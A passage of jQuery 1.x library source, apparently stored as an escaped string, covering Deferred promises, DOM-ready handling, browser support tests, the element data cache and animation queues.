]\n\t\t\t],\n\t\t\tstate = \"pending\",\n\t\t\tpromise = {\n\t\t\t\tstate: function() {\n\t\t\t\t\treturn state;\n\t\t\t\t},\n\t\t\t\talways: function() {\n\t\t\t\t\tdeferred.done( arguments ).fail( arguments );\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\t\t\t\tthen: function( /* fnDone, fnFail, fnProgress */ ) {\n\t\t\t\t\tvar fns = arguments;\n\t\t\t\t\treturn jQuery.Deferred(function( newDefer ) {\n\t\t\t\t\t\tjQuery.each( tuples, function( i, tuple ) {\n\t\t\t\t\t\t\tvar fn = jQuery.isFunction( fns[ i ] ) && fns[ i ];\n\t\t\t\t\t\t\t// deferred[ done | fail | progress ] for forwarding actions to newDefer\n\t\t\t\t\t\t\tdeferred[ tuple[1] ](function() {\n\t\t\t\t\t\t\t\tvar returned = fn && fn.apply( this, arguments );\n\t\t\t\t\t\t\t\tif ( returned && jQuery.isFunction( returned.promise ) ) {\n\t\t\t\t\t\t\t\t\treturned.promise()\n\t\t\t\t\t\t\t\t\t\t.done( newDefer.resolve )\n\t\t\t\t\t\t\t\t\t\t.fail( newDefer.reject )\n\t\t\t\t\t\t\t\t\t\t.progress( newDefer.notify );\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tnewDefer[ tuple[ 0 ] + \"With\" ]( this === promise ? newDefer.promise() : this, fn ? [ returned ] : arguments );\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t});\n\t\t\t\t\t\tfns = null;\n\t\t\t\t\t}).promise();\n\t\t\t\t},\n\t\t\t\t// Get a promise for this deferred\n\t\t\t\t// If obj is provided, the promise aspect is added to the object\n\t\t\t\tpromise: function( obj ) {\n\t\t\t\t\treturn obj != null ? jQuery.extend( obj, promise ) : promise;\n\t\t\t\t}\n\t\t\t},\n\t\t\tdeferred = {};\n\n\t\t// Keep pipe for back-compat\n\t\tpromise.pipe = promise.then;\n\n\t\t// Add list-specific methods\n\t\tjQuery.each( tuples, function( i, tuple ) {\n\t\t\tvar list = tuple[ 2 ],\n\t\t\t\tstateString = tuple[ 3 ];\n\n\t\t\t// promise[ done | fail | progress ] = list.add\n\t\t\tpromise[ tuple[1] ] = list.add;\n\n\t\t\t// Handle state\n\t\t\tif ( stateString ) {\n\t\t\t\tlist.add(function() {\n\t\t\t\t\t// state = [ resolved | rejected ]\n\t\t\t\t\tstate = stateString;\n\n\t\t\t\t// [ reject_list | resolve_list ].disable; progress_list.lock\n\t\t\t\t}, tuples[ i ^ 1 ][ 2 ].disable, tuples[ 2 ][ 2 ].lock );\n\t\t\t}\n\n\t\t\t// deferred[ resolve | reject | notify ]\n\t\t\tdeferred[ tuple[0] ] = function() {\n\t\t\t\tdeferred[ tuple[0] + \"With\" ]( this === deferred ? promise : this, arguments );\n\t\t\t\treturn this;\n\t\t\t};\n\t\t\tdeferred[ tuple[0] + \"With\" ] = list.fireWith;\n\t\t});\n\n\t\t// Make the deferred a promise\n\t\tpromise.promise( deferred );\n\n\t\t// Call given func if any\n\t\tif ( func ) {\n\t\t\tfunc.call( deferred, deferred );\n\t\t}\n\n\t\t// All done!\n\t\treturn deferred;\n\t},\n\n\t// Deferred helper\n\twhen: function( subordinate /* , ..., subordinateN */ ) {\n\t\tvar i = 0,\n\t\t\tresolveValues = slice.call( arguments ),\n\t\t\tlength = resolveValues.length,\n\n\t\t\t// the count of uncompleted subordinates\n\t\t\tremaining = length !== 1 || ( subordinate && jQuery.isFunction( subordinate.promise ) ) ? length : 0,\n\n\t\t\t// the master Deferred. If resolveValues consist of only a single Deferred, just use that.\n\t\t\tdeferred = remaining === 1 ? subordinate : jQuery.Deferred(),\n\n\t\t\t// Update function for both resolve and progress values\n\t\t\tupdateFunc = function( i, contexts, values ) {\n\t\t\t\treturn function( value ) {\n\t\t\t\t\tcontexts[ i ] = this;\n\t\t\t\t\tvalues[ i ] = arguments.length > 1 ? slice.call( arguments ) : value;\n\t\t\t\t\tif ( values === progressValues ) {\n\t\t\t\t\t\tdeferred.notifyWith( contexts, values );\n\n\t\t\t\t\t} else if ( !(--remaining) ) {\n\t\t\t\t\t\tdeferred.resolveWith( contexts, values );\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t\t},\n\n\t\t\tprogressValues, progressContexts, resolveContexts;\n\n\t\t// add listeners to Deferred subordinates; treat others as resolved\n\t\tif ( length > 1 ) {\n\t\t\tprogressValues = new Array( length );\n\t\t\tprogressContexts = new Array( length );\n\t\t\tresolveContexts = new Array( length );\n\t\t\tfor ( ; i < length; i++ ) {\n\t\t\t\tif ( resolveValues[ i ] && jQuery.isFunction( resolveValues[ i ].promise ) ) {\n\t\t\t\t\tresolveValues[ i ].promise()\n\t\t\t\t\t\t.done( updateFunc( i, resolveContexts, resolveValues ) )\n\t\t\t\t\t\t.fail( deferred.reject )\n\t\t\t\t\t\t.progress( updateFunc( i, progressContexts, progressValues ) );\n\t\t\t\t} else {\n\t\t\t\t\t--remaining;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// if we're not waiting on anything, resolve the master\n\t\tif ( !remaining ) {\n\t\t\tdeferred.resolveWith( resolveContexts, resolveValues );\n\t\t}\n\n\t\treturn deferred.promise();\n\t}\n});\n\n\n// The deferred used on DOM ready\nvar readyList;\n\njQuery.fn.ready = function( fn ) {\n\t// Add the callback\n\tjQuery.ready.promise().done( fn );\n\n\treturn this;\n};\n\njQuery.extend({\n\t// Is the DOM ready to be used? Set to true once it occurs.\n\tisReady: false,\n\n\t// A counter to track how many items to wait for before\n\t// the ready event fires. See #6781\n\treadyWait: 1,\n\n\t// Hold (or release) the ready event\n\tholdReady: function( hold ) {\n\t\tif ( hold ) {\n\t\t\tjQuery.readyWait++;\n\t\t} else {\n\t\t\tjQuery.ready( true );\n\t\t}\n\t},\n\n\t// Handle when the DOM is ready\n\tready: function( wait ) {\n\n\t\t// Abort if there are pending holds or we're already ready\n\t\tif ( wait === true ? --jQuery.readyWait : jQuery.isReady ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Make sure body exists, at least, in case IE gets a little overzealous (ticket #5443).\n\t\tif ( !document.body ) {\n\t\t\treturn setTimeout( jQuery.ready );\n\t\t}\n\n\t\t// Remember that the DOM is ready\n\t\tjQuery.isReady = true;\n\n\t\t// If a normal DOM Ready event fired, decrement, and wait if need be\n\t\tif ( wait !== true && --jQuery.readyWait > 0 ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// If there are functions bound, to execute\n\t\treadyList.resolveWith( document, [ jQuery ] );\n\n\t\t// Trigger any bound ready events\n\t\tif ( jQuery.fn.trigger ) {\n\t\t\tjQuery( document ).trigger(\"ready\").off(\"ready\");\n\t\t}\n\t}\n});\n\n/**\n * Clean-up method for dom ready events\n */\nfunction detach() {\n\tif ( document.addEventListener ) {\n\t\tdocument.removeEventListener( \"DOMContentLoaded\", completed, false );\n\t\twindow.removeEventListener( \"load\", completed, false );\n\n\t} else {\n\t\tdocument.detachEvent( \"onreadystatechange\", completed );\n\t\twindow.detachEvent( \"onload\", completed );\n\t}\n}\n\n/**\n * The ready event handler and self cleanup method\n */\nfunction completed() {\n\t// readyState === \"complete\" is good enough for us to call the dom ready in oldIE\n\tif ( document.addEventListener || event.type === \"load\" || document.readyState === \"complete\" ) {\n\t\tdetach();\n\t\tjQuery.ready();\n\t}\n}\n\njQuery.ready.promise = function( obj ) {\n\tif ( !readyList ) {\n\n\t\treadyList = jQuery.Deferred();\n\n\t\t// Catch cases where $(document).ready() is called after the browser event has already occurred.\n\t\t// we once tried to use readyState \"interactive\" here, but it caused issues like the one\n\t\t// discovered by ChrisS here: http://bugs.jquery.com/ticket/12282#comment:15\n\t\tif ( document.readyState === \"complete\" ) {\n\t\t\t// Handle it asynchronously to allow scripts the opportunity to delay ready\n\t\t\tsetTimeout( jQuery.ready );\n\n\t\t// Standards-based browsers support DOMContentLoaded\n\t\t} else if ( document.addEventListener ) {\n\t\t\t// Use the handy event callback\n\t\t\tdocument.addEventListener( \"DOMContentLoaded\", completed, false );\n\n\t\t\t// A fallback to window.onload, that will always work\n\t\t\twindow.addEventListener( \"load\", completed, false );\n\n\t\t// If IE event model is used\n\t\t} else {\n\t\t\t// Ensure firing before onload, maybe late but safe also for iframes\n\t\t\tdocument.attachEvent( \"onreadystatechange\", completed );\n\n\t\t\t// A fallback to window.onload, that will always work\n\t\t\twindow.attachEvent( \"onload\", completed );\n\n\t\t\t// If IE and not a frame\n\t\t\t// continually check to see if the document is ready\n\t\t\tvar top = false;\n\n\t\t\ttry {\n\t\t\t\ttop = window.frameElement == null && document.documentElement;\n\t\t\t} catch(e) {}\n\n\t\t\tif ( top && top.doScroll ) {\n\t\t\t\t(function doScrollCheck() {\n\t\t\t\t\tif ( !jQuery.isReady ) {\n\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t// Use the trick by Diego Perini\n\t\t\t\t\t\t\t// http://javascript.nwbox.com/IEContentLoaded/\n\t\t\t\t\t\t\ttop.doScroll(\"left\");\n\t\t\t\t\t\t} catch(e) {\n\t\t\t\t\t\t\treturn setTimeout( doScrollCheck, 50 );\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// detach all dom ready events\n\t\t\t\t\t\tdetach();\n\n\t\t\t\t\t\t// and execute any waiting functions\n\t\t\t\t\t\tjQuery.ready();\n\t\t\t\t\t}\n\t\t\t\t})();\n\t\t\t}\n\t\t}\n\t}\n\treturn readyList.promise( obj );\n};\n\n\nvar strundefined = typeof undefined;\n\n\n\n// Support: IE<9\n// Iteration over object's inherited properties before its own\nvar i;\nfor ( i in jQuery( support ) ) {\n\tbreak;\n}\nsupport.ownLast = i !== \"0\";\n\n// Note: most support tests are defined in their respective modules.\n// false until the test is run\nsupport.inlineBlockNeedsLayout = false;\n\njQuery(function() {\n\t// We need to execute this one support test ASAP because we need to know\n\t// if body.style.zoom needs to be set.\n\n\tvar container, div,\n\t\tbody = document.getElementsByTagName(\"body\")[0];\n\n\tif ( !body ) {\n\t\t// Return for frameset docs that don't have a body\n\t\treturn;\n\t}\n\n\t// Setup\n\tcontainer = document.createElement( \"div\" );\n\tcontainer.style.cssText = \"border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px\";\n\n\tdiv = document.createElement( \"div\" );\n\tbody.appendChild( container ).appendChild( div );\n\n\tif ( typeof div.style.zoom !== strundefined ) {\n\t\t// Support: IE<8\n\t\t// Check if natively block-level elements act like inline-block\n\t\t// elements when setting their display to 'inline' and giving\n\t\t// them layout\n\t\tdiv.style.cssText = \"border:0;margin:0;width:1px;padding:1px;display:inline;zoom:1\";\n\n\t\tif ( (support.inlineBlockNeedsLayout = ( div.offsetWidth === 3 )) ) {\n\t\t\t// Prevent IE 6 from affecting layout for positioned elements #11048\n\t\t\t// Prevent IE from shrinking the body in IE 7 mode #12869\n\t\t\t// Support: IE<8\n\t\t\tbody.style.zoom = 1;\n\t\t}\n\t}\n\n\tbody.removeChild( container );\n\n\t// Null elements to avoid leaks in IE\n\tcontainer = div = null;\n});\n\n\n\n\n(function() {\n\tvar div = document.createElement( \"div\" );\n\n\t// Execute the test only if not already executed in another module.\n\tif (support.deleteExpando == null) {\n\t\t// Support: IE<9\n\t\tsupport.deleteExpando = true;\n\t\ttry {\n\t\t\tdelete div.test;\n\t\t} catch( e ) {\n\t\t\tsupport.deleteExpando = false;\n\t\t}\n\t}\n\n\t// Null elements to avoid leaks in IE.\n\tdiv = null;\n})();\n\n\n/**\n * Determines whether an object can have data\n */\njQuery.acceptData = function( elem ) {\n\tvar noData = jQuery.noData[ (elem.nodeName + \" \").toLowerCase() ],\n\t\tnodeType = +elem.nodeType || 1;\n\n\t// Do not set data on non-element DOM nodes because it will not be cleared (#8335).\n\treturn nodeType !== 1 && nodeType !== 9 ?\n\t\tfalse :\n\n\t\t// Nodes accept data unless otherwise specified; rejection can be conditional\n\t\t!noData || noData !== true && elem.getAttribute(\"classid\") === noData;\n};\n\n\nvar rbrace = /^(?:\\{[\\w\\W]*\\}|\\[[\\w\\W]*\\])$/,\n\trmultiDash = /([A-Z])/g;\n\nfunction dataAttr( elem, key, data ) {\n\t// If nothing was found internally, try to fetch any\n\t// data from the HTML5 data-* attribute\n\tif ( data === undefined && elem.nodeType === 1 ) {\n\n\t\tvar name = \"data-\" + key.replace( rmultiDash, \"-$1\" ).toLowerCase();\n\n\t\tdata = elem.getAttribute( name );\n\n\t\tif ( typeof data === \"string\" ) {\n\t\t\ttry {\n\t\t\t\tdata = data === \"true\" ? true :\n\t\t\t\t\tdata === \"false\" ? false :\n\t\t\t\t\tdata === \"null\" ? null :\n\t\t\t\t\t// Only convert to a number if it doesn't change the string\n\t\t\t\t\t+data + \"\" === data ? +data :\n\t\t\t\t\trbrace.test( data ) ? jQuery.parseJSON( data ) :\n\t\t\t\t\tdata;\n\t\t\t} catch( e ) {}\n\n\t\t\t// Make sure we set the data so it isn't changed later\n\t\t\tjQuery.data( elem, key, data );\n\n\t\t} else {\n\t\t\tdata = undefined;\n\t\t}\n\t}\n\n\treturn data;\n}\n\n// checks a cache object for emptiness\nfunction isEmptyDataObject( obj ) {\n\tvar name;\n\tfor ( name in obj ) {\n\n\t\t// if the public data object is empty, the private is still empty\n\t\tif ( name === \"data\" && jQuery.isEmptyObject( obj[name] ) ) {\n\t\t\tcontinue;\n\t\t}\n\t\tif ( name !== \"toJSON\" ) {\n\t\t\treturn false;\n\t\t}\n\t}\n\n\treturn true;\n}\n\nfunction internalData( elem, name, data, pvt /* Internal Use Only */ ) {\n\tif ( !jQuery.acceptData( elem ) ) {\n\t\treturn;\n\t}\n\n\tvar ret, thisCache,\n\t\tinternalKey = jQuery.expando,\n\n\t\t// We have to handle DOM nodes and JS objects differently because IE6-7\n\t\t// can't GC object references properly across the DOM-JS boundary\n\t\tisNode = elem.nodeType,\n\n\t\t// Only DOM nodes need the global jQuery cache; JS object data is\n\t\t// attached directly to the object so GC can occur automatically\n\t\tcache = isNode ? jQuery.cache : elem,\n\n\t\t// Only defining an ID for JS objects if its cache already exists allows\n\t\t// the code to shortcut on the same path as a DOM node with no cache\n\t\tid = isNode ? elem[ internalKey ] : elem[ internalKey ] && internalKey;\n\n\t// Avoid doing any more work than we need to when trying to get data on an\n\t// object that has no data at all\n\tif ( (!id || !cache[id] || (!pvt && !cache[id].data)) && data === undefined && typeof name === \"string\" ) {\n\t\treturn;\n\t}\n\n\tif ( !id ) {\n\t\t// Only DOM nodes need a new unique ID for each element since their data\n\t\t// ends up in the global cache\n\t\tif ( isNode ) {\n\t\t\tid = elem[ internalKey ] = deletedIds.pop() || jQuery.guid++;\n\t\t} else {\n\t\t\tid = internalKey;\n\t\t}\n\t}\n\n\tif ( !cache[ id ] ) {\n\t\t// Avoid exposing jQuery metadata on plain JS objects when the object\n\t\t// is serialized using JSON.stringify\n\t\tcache[ id ] = isNode ? {} : { toJSON: jQuery.noop };\n\t}\n\n\t// An object can be passed to jQuery.data instead of a key/value pair; this gets\n\t// shallow copied over onto the existing cache\n\tif ( typeof name === \"object\" || typeof name === \"function\" ) {\n\t\tif ( pvt ) {\n\t\t\tcache[ id ] = jQuery.extend( cache[ id ], name );\n\t\t} else {\n\t\t\tcache[ id ].data = jQuery.extend( cache[ id ].data, name );\n\t\t}\n\t}\n\n\tthisCache = cache[ id ];\n\n\t// jQuery data() is stored in a separate object inside the object's internal data\n\t// cache in order to avoid key collisions between internal data and user-defined\n\t// data.\n\tif ( !pvt ) {\n\t\tif ( !thisCache.data ) {\n\t\t\tthisCache.data = {};\n\t\t}\n\n\t\tthisCache = thisCache.data;\n\t}\n\n\tif ( data !== undefined ) {\n\t\tthisCache[ jQuery.camelCase( name ) ] = data;\n\t}\n\n\t// Check for both converted-to-camel and non-converted data property names\n\t// If a data property was specified\n\tif ( typeof name === \"string\" ) {\n\n\t\t// First Try to find as-is property data\n\t\tret = thisCache[ name ];\n\n\t\t// Test for null|undefined property data\n\t\tif ( ret == null ) {\n\n\t\t\t// Try to find the camelCased property\n\t\t\tret = thisCache[ jQuery.camelCase( name ) ];\n\t\t}\n\t} else {\n\t\tret = thisCache;\n\t}\n\n\treturn ret;\n}\n\nfunction internalRemoveData( elem, name, pvt ) {\n\tif ( !jQuery.acceptData( elem ) ) {\n\t\treturn;\n\t}\n\n\tvar thisCache, i,\n\t\tisNode = elem.nodeType,\n\n\t\t// See jQuery.data for more information\n\t\tcache = isNode ? jQuery.cache : elem,\n\t\tid = isNode ? elem[ jQuery.expando ] : jQuery.expando;\n\n\t// If there is already no cache entry for this object, there is no\n\t// purpose in continuing\n\tif ( !cache[ id ] ) {\n\t\treturn;\n\t}\n\n\tif ( name ) {\n\n\t\tthisCache = pvt ? cache[ id ] : cache[ id ].data;\n\n\t\tif ( thisCache ) {\n\n\t\t\t// Support array or space separated string names for data keys\n\t\t\tif ( !jQuery.isArray( name ) ) {\n\n\t\t\t\t// try the string as a key before any manipulation\n\t\t\t\tif ( name in thisCache ) {\n\t\t\t\t\tname = [ name ];\n\t\t\t\t} else {\n\n\t\t\t\t\t// split the camel cased version by spaces unless a key with the spaces exists\n\t\t\t\t\tname = jQuery.camelCase( name );\n\t\t\t\t\tif ( name in thisCache ) {\n\t\t\t\t\t\tname = [ name ];\n\t\t\t\t\t} else {\n\t\t\t\t\t\tname = name.split(\" \");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// If \"name\" is an array of keys...\n\t\t\t\t// When data is initially created, via (\"key\", \"val\") signature,\n\t\t\t\t// keys will be converted to camelCase.\n\t\t\t\t// Since there is no way to tell _how_ a key was added, remove\n\t\t\t\t// both plain key and camelCase key. #12786\n\t\t\t\t// This will only penalize the array argument path.\n\t\t\t\tname = name.concat( jQuery.map( name, jQuery.camelCase ) );\n\t\t\t}\n\n\t\t\ti = name.length;\n\t\t\twhile ( i-- ) {\n\t\t\t\tdelete thisCache[ name[i] ];\n\t\t\t}\n\n\t\t\t// If there is no data left in the cache, we want to continue\n\t\t\t// and let the cache object itself get destroyed\n\t\t\tif ( pvt ? !isEmptyDataObject(thisCache) : !jQuery.isEmptyObject(thisCache) ) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t}\n\n\t// See jQuery.data for more information\n\tif ( !pvt ) {\n\t\tdelete cache[ id ].data;\n\n\t\t// Don't destroy the parent cache unless the internal data object\n\t\t// had been the only thing left in it\n\t\tif ( !isEmptyDataObject( cache[ id ] ) ) {\n\t\t\treturn;\n\t\t}\n\t}\n\n\t// Destroy the cache\n\tif ( isNode ) {\n\t\tjQuery.cleanData( [ elem ], true );\n\n\t// Use delete when supported for expandos or `cache` is not a window per isWindow (#10080)\n\t/* jshint eqeqeq: false */\n\t} else if ( support.deleteExpando || cache != cache.window ) {\n\t\t/* jshint eqeqeq: true */\n\t\tdelete cache[ id ];\n\n\t// When all else fails, null\n\t} else {\n\t\tcache[ id ] = null;\n\t}\n}\n\njQuery.extend({\n\tcache: {},\n\n\t// The following elements (space-suffixed to avoid Object.prototype collisions)\n\t// throw uncatchable exceptions if you attempt to set expando properties\n\tnoData: {\n\t\t\"applet \": true,\n\t\t\"embed \": true,\n\t\t// ...but Flash objects (which have this classid) *can* handle expandos\n\t\t\"object \": \"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\"\n\t},\n\n\thasData: function( elem ) {\n\t\telem = elem.nodeType ? jQuery.cache[ elem[jQuery.expando] ] : elem[ jQuery.expando ];\n\t\treturn !!elem && !isEmptyDataObject( elem );\n\t},\n\n\tdata: function( elem, name, data ) {\n\t\treturn internalData( elem, name, data );\n\t},\n\n\tremoveData: function( elem, name ) {\n\t\treturn internalRemoveData( elem, name );\n\t},\n\n\t// For internal use only.\n\t_data: function( elem, name, data ) {\n\t\treturn internalData( elem, name, data, true );\n\t},\n\n\t_removeData: function( elem, name ) {\n\t\treturn internalRemoveData( elem, name, true );\n\t}\n});\n\njQuery.fn.extend({\n\tdata: function( key, value ) {\n\t\tvar i, name, data,\n\t\t\telem = this[0],\n\t\t\tattrs = elem && elem.attributes;\n\n\t\t// Special expections of .data basically thwart jQuery.access,\n\t\t// so implement the relevant behavior ourselves\n\n\t\t// Gets all values\n\t\tif ( key === undefined ) {\n\t\t\tif ( this.length ) {\n\t\t\t\tdata = jQuery.data( elem );\n\n\t\t\t\tif ( elem.nodeType === 1 && !jQuery._data( elem, \"parsedAttrs\" ) ) {\n\t\t\t\t\ti = attrs.length;\n\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\tname = attrs[i].name;\n\n\t\t\t\t\t\tif ( name.indexOf(\"data-\") === 0 ) {\n\t\t\t\t\t\t\tname = jQuery.camelCase( name.slice(5) );\n\n\t\t\t\t\t\t\tdataAttr( elem, name, data[ name ] );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tjQuery._data( elem, \"parsedAttrs\", true );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn data;\n\t\t}\n\n\t\t// Sets multiple values\n\t\tif ( typeof key === \"object\" ) {\n\t\t\treturn this.each(function() {\n\t\t\t\tjQuery.data( this, key );\n\t\t\t});\n\t\t}\n\n\t\treturn arguments.length > 1 ?\n\n\t\t\t// Sets one value\n\t\t\tthis.each(function() {\n\t\t\t\tjQuery.data( this, key, value );\n\t\t\t}) :\n\n\t\t\t// Gets one value\n\t\t\t// Try to fetch any internally stored data first\n\t\t\telem ? dataAttr( elem, key, jQuery.data( elem, key ) ) : undefined;\n\t},\n\n\tremoveData: function( key ) {\n\t\treturn this.each(function() {\n\t\t\tjQuery.removeData( this, key );\n\t\t});\n\t}\n});\n\n\njQuery.extend({\n\tqueue: function( elem, type, data ) {\n\t\tvar queue;\n\n\t\tif ( elem ) {\n\t\t\ttype = ( type || \"fx\" ) + \"queue\";\n\t\t\tqueue = jQuery._data( elem, type );\n\n\t\t\t// Speed up dequeue by getting out quickly if this is just a lookup\n\t\t\tif ( data ) {\n\t\t\t\tif ( !queue || jQuery.isArray(data) ) {\n\t\t\t\t\tqueue = jQuery._data( elem, type, jQuery.makeArray(data) );\n\t\t\t\t} else {\n\t\t\t\t\tqueue.push( data );\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn queue || [];\n\t\t}\n\t},\n\n\tdequeue: function( elem, type ) {\n\t\ttype = type || \"fx\";\n\n\t\tvar queue = jQuery.queue( elem, type ),\n\t\t\tstartLength = queue.length,\n\t\t\tfn = queue.shift(),\n\t\t\thooks = jQuery._queueHooks( elem, type ),\n\t\t\tnext = function() {\n\t\t\t\tjQuery.dequeue( elem, type );\n\t\t\t};\n\n\t\t// If the fx queue is dequeued, always remove the progress sentinel\n\t\tif ( fn === \"inprogress\" ) {\n\t\t\tfn = queue.shift();\n\t\t\tstartLength--;\n\t\t}\n\n\t\tif ( fn ) {\n\n\t\t\t// Add a progress sentinel to prevent the fx queue from being\n\t\t\t// automatically dequeued\n\t\t\tif ( type === \"fx\" ) {\n\t\t\t\tqueue.unshift( \"inprogress\" );\n\t\t\t}\n\n\t\t\t// clear up the last queue stop function\n\t\t\tdelete hooks.stop;\n\t\t\tfn.call( elem, next, hooks );\n\t\t}\n\n\t\tif ( !startLength && hooks ) {\n\t\t\thooks.empty.fire();\n\t\t}\n\t},\n\n\t// not intended for public consumption - generates a queueHooks object, or returns the current one\n\t_queueHooks: function( elem, type ) {\n\t\tvar key = type + \"queueHooks\";\n\t\treturn jQuery._data( elem, key ) || jQuery._data( elem, key, {\n\t\t\tempty: jQuery.Callbacks(\"once memory\").add(function() {\n\t\t\t\tjQuery._removeData( elem, type + \"queue\" );\n\t\t\t\tjQuery._removeData( elem, key );\n\t\t\t})\n\t\t});\n\t}\n});\n\njQuery.fn.extend({\n\tqueue: function( type, data ) {\n\t\tvar setter = 2;\n\n\t\tif ( typeof type !== \"string\" ) {\n\t\t\tdata = type;\n\t\t\ttype = \"fx\";\n\t\t\tsetter--;\n\t\t}\n\n\t\tif ( arguments.length < setter ) {\n\t\t\treturn jQuery.queue( this[0], type );\n\t\t}\n\n\t\treturn data === undefined ?\n\t\t\tthis :\n\t\t\tthis.each(function() {\n\t\t\t\tvar queue = jQuery.queue( this, type, data );\n\n\t\t\t\t// ensure a hooks for this queue\n\t\t\t\tjQuery._queueHooks( this, type );\n\n\t\t\t\tif ( type === \"fx\" && queue[0] !== \"inprogress\" ) {\n\t\t\t\t\tjQuery.dequeue( this, type );\n\t\t\t\t}\n\t\t\t});\n\t},\n\tdequeue: function( type ) {\n\t\treturn this.each(function() {\n\t\t\tjQuery.dequeue( this, type );\n\t\t});\n\t},\n\tclearQueue: function( type ) {\n\t\treturn this.queue( type || \"fx\", [] );\n\t},\n\t// Get a promise resolved when queues of a certain type\n\t// are emptied (fx is the type by default)\n\tpromise: function( type, obj ) {\n\t\tvar tmp,\n\t\t\tcount = 1,\n\t\t\tdefer = jQuery.Deferred(),\n\t\t\telements = this,\n\t\t\ti = this.length,\n\t\t\tresolve = function() {\n\t\t\t\tif ( !( --count ) ) {\n\t\t\t\t\tdefer.resolveWith( elements, [ elements ] );\n\t\t\t\t}\n\t\t\t};\n\n\t\tif ( typeof type !== \"string\" ) {\n\t\t\tobj = type;\n\t\t\ttype = undefined;\n\t\t}\n\t\ttype = type || \"fx\";\n\n\t\twhile ( i-- ) {\n\t\t\ttmp = jQuery._data( elements[ i ], type + \"queueHooks\" );\n\t\t\tif ( tmp && tmp.empty ) {\n\t\t\t\tcount++;\n\t\t\t\ttmp.empty.add( resolve );\n\t\t\t}\n\t\t}\n\t\tresolve();\n\t\treturn defer.promise( obj );\n\t}\n});\nvar pnum = (/[+-]?(?:\\d*\\.|)\\d+(?:[eE][+-]?\\d+|)/).source;\n\nvar cssExpand = [ \"Top\", \"Right\", \"Bottom\", \"Left\" ];\n\nvar isHidden = function( elem, el ) {\n\t\t// isHidden might be called from jQuery#filter function;\n\t\t// in that case, element will be second argument\n\t\telem = el || elem;\n\t\treturn jQuery.css( elem, \"display\" ) === \"none\" || !jQuery.contains( elem.ownerDocument, elem );\n\t};\n\n\n\n// Multifunctional method to get and set values of a collection\n// The value/s can optionally be executed if it's a function\nvar access = jQuery.access = function( elems, fn, key, value, chainable, emptyGet, raw ) {\n\tvar i = 0,\n\t\tlength = elems.length,\n\t\tbulk = key == null;\n\n\t// Sets many values\n\tif ( jQuery.type( key ) === \"object\" ) {\n\t\tchainable = true;\n\t\tfor ( i in key ) {\n\t\t\tjQuery.access( elems, fn, i, key[i], true, emptyGet, raw );\n\t\t}\n\n\t// Sets one value\n\t} else if ( value !== undefined ) {\n\t\tchainable = true;\n\n\t\tif ( !jQuery.isFunction( value ) ) {\n\t\t\traw = true;\n\t\t}\n\n\t\tif ( bulk ) {\n\t\t\t// Bulk operations run against the entire set\n\t\t\tif ( raw ) {\n\t\t\t\tfn.call( elems, value );\n\t\t\t\tfn = null;\n\n\t\t\t// ...except when executing function values\n\t\t\t} else {\n\t\t\t\tbulk = fn;\n\t\t\t\tfn = function( elem, key, value ) {\n\t\t\t\t\treturn bulk.call( jQuery( elem ), value );\n\t\t\t\t};\n\t\t\t}\n\t\t}\n\n\t\tif ( fn ) {\n\t\t\tfor ( ; i < length; i++ ) {\n\t\t\t\tfn( elems[i], key, raw ? value : value.call( elems[i], i, fn( elems[i], key ) ) );\n\t\t\t}\n\t\t}\n\t}\n\n\treturn chainable ?\n\t\telems :\n\n\t\t// Gets\n\t\tbulk ?\n\t\t\tfn.call( elems ) :\n\t\t\tlength ? fn( elems[0], key ) : emptyGet;\n};\nvar rcheckableType = (/^(?:checkbox|radio)$/i);\n\n\n\n(function() {\n\tvar fragment = document.createDocumentFragment(),\n\t\tdiv = document.createElement(\"div\"),\n\t\tinput = document.createElement(\"input\");\n\n\t// Setup\n\tdiv.setAttribute( \"className\", \"t\" );\n\tdiv.innerHTML = \"  <link/><table></table><a href='/a'>a</a>\";\n\n\t// IE strips leading whitespace when .innerHTML is used\n\tsupport.leadingWhitespace = div.firstChild.nodeType === 3;\n\n\t// Make sure that tbody elements aren't automatically inserted\n\t// IE will insert them into empty tables\n\tsupport.tbody = !div.getElementsByTagName( \"tbody\" ).length;\n\n\t// Make sure that link elements get serialized correctly by innerHTML\n\t// This requires a wrapper element in IE\n\tsupport.htmlSerialize = !!div.getElementsByTagName( \"link\" ).length;\n\n\t// Makes sure cloning an html5 element does not cause problems\n\t// Where outerHTML is undefined, this still works\n\tsupport.html5Clone =\n\t\tdocument.createElement( \"nav\" ).cloneNode( true ).outerHTML !== \"<:nav></:nav>\";\n\n\t// Check if a disconnected checkbox will retain its checked\n\t// value of true after appended to the DOM (IE6/7)\n\tinput.type = \"checkbox\";\n\tinput.checked = true;\n\tfragment.appendChild( input );\n\tsupport.appendChecked = input.checked;\n\n\t// Make sure textarea (and checkbox) defaultValue is properly cloned\n\t// Support: IE6-IE11+\n\tdiv.innerHTML = \"<textarea>x</textarea>\";\n\tsupport.noCloneChecked = !!div.cloneNode( true ).lastChild.defaultValue;\n\n\t// #11217 - WebKit loses check when the name is after the checked attribute\n\tfragment.appendChild( div );\n\tdiv.innerHTML = \"<input type='radio' checked='checked' name='t'/>\";\n\n\t// Support: Safari 5.1, iOS 5.1, Android 4.x, Android 2.3\n\t// old WebKit doesn't clone checked state correctly in fragments\n\tsupport.checkClone = div.cloneNode( true ).cloneNode( true ).lastChild.checked;\n\n\t// Support: IE<9\n\t// Opera does not clone events (and typeof div.attachEvent === undefined).\n\t// IE9-10 clones events bound via attachEvent, but they don't trigger with .click()\n\tsupport.noCloneEvent = true;\n\tif ( div.attachEvent ) {\n\t\tdiv.attachEvent( \"onclick\", function() {\n\t\t\tsupport.noCloneEvent = 